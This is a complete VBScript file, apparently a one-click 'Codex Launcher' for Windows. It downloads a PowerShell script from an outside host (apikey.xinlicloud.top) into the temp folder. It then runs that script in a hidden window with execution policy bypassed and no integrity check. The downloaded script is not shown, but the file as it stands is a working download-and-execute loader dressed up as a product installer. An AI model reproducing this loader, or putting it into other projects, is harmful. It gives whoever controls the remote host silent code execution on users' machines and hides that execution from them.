Option Explicit

Dim shell, http, stream, tempFile, command
Set shell = CreateObject("WScript.Shell")
tempFile = shell.ExpandEnvironmentStrings("%TEMP%") & "\codex-oneclick-windows.ps1"

On Error Resume Next
Set http = CreateObject("MSXML2.XMLHTTP")
http.open "GET", "https://apikey.xinlicloud.top/kimi-guide/codex-oneclick-windows.ps1", False
http.send
If Err.Number <> 0 Or http.status <> 200 Then
  MsgBox "Unable to download the Codex launcher. Check your network and try again.", 16, "Codex Launcher"
  WScript.Quit 1
End If

Set stream = CreateObject("ADODB.Stream")
stream.Type = 1
stream.Open
stream.Write http.responseBody
stream.Position = 0
stream.Type = 2
stream.Charset = "utf-8"
stream.SaveToFile tempFile, 2
stream.Close
If Err.Number <> 0 Then
  MsgBox "Unable to save the Codex launcher. Check your temporary folder permissions and try again.", 16, "Codex Launcher"
  WScript.Quit 1
End If
On Error GoTo 0

command = "powershell.exe -NoLogo -NoProfile -STA -WindowStyle Hidden -ExecutionPolicy Bypass -File " & Chr(34) & tempFile & Chr(34)
shell.Run command, 0, False
